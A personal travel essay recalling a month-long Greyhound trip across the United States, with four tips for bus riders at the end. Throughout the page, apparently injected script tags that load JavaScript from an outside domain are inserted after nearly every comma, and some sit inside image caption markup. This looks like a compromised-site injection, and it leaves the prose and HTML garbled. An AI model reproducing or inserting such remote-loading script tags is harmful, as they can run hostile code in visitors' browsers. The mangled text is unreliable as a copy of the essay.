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On a Bus to Nowhere

by Lesley Peterson

My love affair with bus travel began as a rebound romance. On the lam with a bewildered (if not quite broken) heart, I bought a Greyhound discovery pass and took off on a month-long odyssey through the United States.

I wasn’t the only one running away. I can’t remember the face that launched that trip, but the ones I met along the way remain vivid, a revolving cast of seatmates each with a tale more gothic than the last. All of us locked together in a silver capsule hurtling through starry nights, as if in outer space.

On the lam with a not-quite-broken heart, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Lesley Peterson bought a one-month bus pass and travelled aimlessly, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but with curiosity and joy, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> around the United States. She has loved the romance of bus travel ever since.” width=”630″ height=”427″ /></a>Filed away in my memory like postcards in a box are views from those panoramic windows: eerie tunnels of moss-draped trees at dawn in Louisiana, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> a technicolour New Mexico sunset, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the Chandler-esque night streets of Los Angeles, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> windshield wipers beating off a wall of rain somewhere in Oregon. Returning east through epic Wyoming, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> it seemed that we on the road were the ones fenced in; the cows had endless room to roam.</p>
<p>Riding mostly overnight to save on hotels added to the surreal quality of that trip. I’d explore a city during the day, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> return to the bus station after supper and board the next one out, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> no matter where it was headed. Time became a blur. If it was Thursday, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> it might have been El Paso. Sometimes I wasn’t sure.</p>
<p>Later, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> when I traveled by intercity bus in Europe, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> a mostly student crowd filled the overhead bins with their backpacks and overnight journeys with the ambience of a college slumber party.</p>
<p>Now, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> whenever I can, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> I still travel by bus. More restful than driving, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> cheaper than the train, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> it lends itself to spontaneous travel decisions, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> easy getaways and even easier arrivals. For me, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> it’s the only way to arrive in New York City. Jumping off at Port Authority Bus Terminal on 42<sup>nd</sup> Street, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> I avoid airport frustrations and launch right into Manhattan. The journey from Toronto is itself a pleasure: a night drive through New York State, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> waking to dawn in the Poconos, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the Manhattan skyline gradually revealing itself over trees. A “behold Gotham” moment, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> then we’re roaring through the tunnel, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> rocketing into the heart of midtown. Breakfast and a face splash at a diner, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and I’m good to go.</p>
<p><a href=On the lam with a not-quite-broken heart, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Lesley Peterson bought a one-month bus pass and travelled aimlessly, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but with curiosity and joy, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> around the United States. She has loved the romance of bus travel ever since.” width=”630″ height=”419″ /></a></p>
<h5>4 top bus travel tips</h5>
<p>Bus travel has improved over the years, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> with some companies offering movies and free wi-fi onboard. Some things never change, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> though, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> so as unofficial bus-riding queen I offer my four top tips:</p>
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<li>Figure out which side of the bus will be the sunny side; then choose the other.</li>
<li>Bring a lightweight ballcap for night travel, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> to prevent street lights from strobing into your eyes as you pass through towns.</li>
<li>Keep valuables on you, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> not in the overhead racks.</li>
<li>Sit near the front so you know what’s going on with the driver, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> not what’s going on in the bathroom.</li>
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